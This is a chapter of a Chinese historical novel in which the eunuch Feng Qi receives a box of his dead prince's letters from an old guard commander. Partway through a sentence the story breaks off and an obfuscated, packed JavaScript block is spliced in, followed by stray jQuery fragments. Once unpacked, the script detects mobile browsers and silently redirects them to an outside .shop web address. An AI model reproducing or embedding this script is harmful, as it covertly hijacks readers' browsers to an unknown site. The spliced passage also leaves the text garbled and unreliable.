康王府还在。冯七站在街对面，看着那扇朱红色的大门，觉得它和他六年前离开时一模一样。铜钉还是那么亮，匾额还是那块匾额——只是上面的字换了。从前是“康王府”，如今是“靖亲王府”。同一个地方，换了个名字，换了个主人。但主人没有换，还是那个人，只是升了爵位，从亲王变成了亲王——康王和靖亲王，都是亲王，但靖亲王比康王高了不止一个等级。靖是封号，康也是封号，但靖有“安定天下”的意思，康只有“安康”的意思。一字之差，天壤之别。
冯七站在街对面，看着那扇门，站了很久。他在想一个问题——他是怎么进去？六年前他是被押进去的，由周统领带着，从侧门进去。如今他一个人，没有周统领，没有侧门的钥匙。他只能走正门，但正门有侍卫把守，他一个太监，凭什么进靖亲王府？
他站在那里，一筹莫展，觉得自己像个傻子。千里迢迢从南京赶来，找到的是一片废墟。又千里迢迢跑到靖亲王府门口，发现自己连门都进不去。他这把钥匙，到底能开哪扇门？
他正想着，身后忽然传来一个声音，低沉，沙哑，像砂纸磨过木头。
“冯七？”
冯七猛地转过身。身后站着一个老头，六十多岁，穿着一件灰色的旧袍子，头上戴着一顶破毡帽，脸上全是皱纹，像一张揉皱了的纸。他的眼睛很浑浊，像两口干涸的井。但冯七认出了他。不是认出了他的脸——那张脸他已经不记得了——而是认出了他走路的姿势。微微驼背，右腿比左腿短一些，走路的时候身子往右边倾。
“周统领？”冯七的声音有些发涩。
老头看着他，浑浊的眼睛里忽然有了一点光，像快灭的灯芯忽然跳了一下。
“你认得我？”
冯七点了点头。他怎么会不认得？周统领，康王府的护卫统领，脸上那道疤，从眉梢一直划到颧骨。如今那道疤还在，只是被皱纹淹没了，要凑得很近才能看清。
“你怎么在这儿？”冯七问。
周统领没有回答，转过身，朝巷子里走去。走了几步，见冯七没有跟上来，停下来，没有回头。
“跟我走。”
冯七犹豫了一瞬，跟了上去。他不知道周统领要带他去哪里，也不知道周统领是敌是友。但在这座陌生的、充满敌意的城市里，他别无选择。有人愿意带路，总比自己瞎撞强。
周统领带着他穿过几条巷子，来到一扇小门前。门很旧，漆都掉了，露出底下灰色的木头。门楣上长满了青苔，湿漉漉的，像一张绿色的嘴。周统领推开门，走进去。冯七跟在后面，进了门，发现这里是靖亲王府的后院——不是正院，不是偏院，是最偏僻的、没人注意的后院。
“你怎么进来的？”冯七问。
“我在这里住了三十年。”周统领的声音很平，平得像在说一件再寻常不过的事，“这里的每一块砖、每一片瓦、每一个墙洞，我都知道。从前是，现在也是。”
冯七看着他，忽然有些恍惚。三十年。一个人在一个地方住了三十年，对这个地方的了解深入骨髓。即使换了主人，即使改了名号，即使一切都变了，但他还在。他熟悉这里的每一条路，每一道墙，每一个可以藏身的角落。这座王府对他来说，不是一座府邸，是身体的一部分。
“你为什么帮我？”冯七问。
周统领没有回答。他带着冯七穿过一个荒废的院子，来到一排低矮的房舍前。他推开其中一间的门，走进去。屋子里很暗，只有一扇小窗，透进来一点光。屋里有一张床、一张桌子、一把椅子，桌上放着一盏油灯。周统领点上灯，在椅子上坐下来，看着冯七。
“坐。”
冯七在床沿上坐下来。周统领看着他，浑浊的眼睛里有什么东西在闪动。
“你问为什么帮你。因为我欠安王殿下的命。”
冯七的心猛地跳了一下。
“殿下在京城的时候，我见过他。不止一次。”周统领的声音很低，低得像是怕惊动什么，“那时候康王被软禁，府里的人走的走、散的散，只有我没走。我不是忠心，是没地方去。殿下知道我是康王府的人，但他没有嫌弃我，每次来都跟我说话，问我吃了没有、冷不冷、要不要添件衣裳。”
他停了一下，伸出手，在桌上轻轻叩了两下。
“这世上，有人把你当人看，你就欠他的。殿下把我当人看，我欠他的。他死了，我没法还。但你来了，你是殿下的人。我帮你，就当是还殿下的。”
冯七坐在那里，手在袖子里攥成了拳头。赵珩对每个人都这样。对苏公公是这样，对冯七是这样，对周统领也是这样。他不因为你是太监、侍卫、王府的杂役就低看你一眼。在他眼里，人就是人。不是因为身份，不是因为地位，是因为他骨子里就是这样的人。
“周统领，”冯七的声音有些哑，“殿下有没有跟你说过，他在王府里藏了什么东西？”
周统领看着他，目光里有什么东西在闪动。过了很久，他才开口。
“有。”
“在哪里？”
周统领没有回答。他站起来，走到门口，推开门，朝外面看了看，然后关上门，走回来。他蹲下来，把手伸到床底下，摸了一会儿，摸出一个东西。是一个木匣。不大，比冯七当年从御书房里取出来的那个木匣小一些，黑漆斑驳，匣盖上刻着一枝梅花。和那把折扇上的一模一样，和御书房里那个木匣上的一模一样。
冯七的手开始发抖。
“这是殿下让我收着的。”周统领说，“他说，如果有一天，一个叫冯七的人来找，就把这个交给他。”
冯七接过木匣，抱在怀里。木匣很轻，轻得像空的。但他知道，它不空。它里面装着的，是赵珩留给他的最后的东西。
“周统领，殿下还说了别的吗？”
周统领摇了摇头。
“就这一句。他说，冯七来了，你就把这个给他。他自然知道该怎么做。”
冯七抱着木匣，走出了那间小屋。他站在院子里，看着那个木匣，看了很久。匣盖上的梅花在月光下泛着淡淡的光泽，枝叶舒展，像是在风中轻轻摇曳。他用指甲撬开匣盖，里面是一沓纸。
纸已经泛黄了，边角有些脆。每一张上都写满了字，是赵珩的字迹，一笔一划，工工整整，和他的人一样——从容，克制，带着一种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680439|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说不清的温度。他拿起最上面的一张，凑到月光下看。
“崇文十八年四月，余至南京。冯七随行。南京与京城不同，无宫墙之逼仄，无朝堂之倾轧。冯七脸上渐有笑意，余心稍安。”
冯七的眼眶有些热。他翻到下一张。
“崇文十八年七月，冯七学会南京话，与余言：‘阿吃过啦？’余大笑。冯七亦笑。余少见冯七笑，其笑时眼中似有光。余愿常见其笑。”
他又翻了一张。
“崇文十八年九月，冯七在书房整理书卷，忽抬头问余：‘殿下，您说这天下还能撑多久？’余未答。非不知，乃不忍言。”
再翻一张。
“崇文十九年三月，余闻母妃被太后接入宫中。太后乃康王姑母。余知此为要挟，然无可奈何。冯七劝余勿忧，曰：‘船到桥头自然直。’余知不直，然不忍拂其意。”
再翻。
“崇文十九年八月，余决意回京。冯七不知。余不敢告。告之，必阻。不告，则负之。余两难。”
冯七的手开始发抖，抖得几乎拿不住纸。他把那些纸一张一张地看下去，看到最后一张。
最后一张上只写了五行字。
“冯七，你看到这些字的时候，我应该已经死了。”
“你不要难过。人总是要死的，早一天晚一天而已。”
“你替我活着。替我看着这座天下，替我记住这些事。”
“你手里的那支笔，别放下。继续写。”
“还有——你脖子上那枚铜钱，是我母妃给我的。我把它给你，是希望它能保你平安。你戴着它，就像我在你身边。”
冯七站在那里，抱着那个木匣，泪水一滴一滴地落在那些泛黄的纸上，把墨迹洇开了一片。他没有擦，只是站在那里，任由泪水流下来。他在这座皇宫里待了那么多年，早已学会了不哭。但此刻，他忍不住了。不是为了赵珩，是为了那些再也回不去的日子。是为了那些说过的话、做过的事、走过的路、见过的人。
他把那些纸一张一张地放回木匣里，盖上盖子，抱在怀里。木匣贴着胸口，温热的，像一个人的体温。他忽然想起赵珩送给他的那支笔，笔杆上刻着“安生”两个字。安王的安，冯七的生。赵珩把自己的名字和他的名字刻在同一支笔上，是希望他们能永远在一起。哪怕他死了，他的名字还在这支笔上，还陪在冯七身边。如今，他的字还在这些纸上，也陪在冯七身边。
冯七抱着木匣，走出了靖亲王府的后院。他没有回头。他知道，他再也不会回来了。这座王府，这座京城，这座皇宫，他都不会再回来了。他要回到南京去，回到那间小屋去，回到小顺子身边去，回到那支笔和这些纸身边去。他要继续写，把赵珩没写完的写完，把自己没写完的写完，把这个时代没写完的写完。
他走到城门口的时候，天已经快亮了。东方的天际泛起了一线鱼肚白，淡淡的，像有人在天空上画了一道浅浅的痕迹。他在城门口站了一会儿，回头看了一眼京城。京城还在，城墙还在，鼓楼还在，皇宫还在。但住在这里的人，已经不是从前的人了。从前的人，死的死，散的散，一个都不剩了。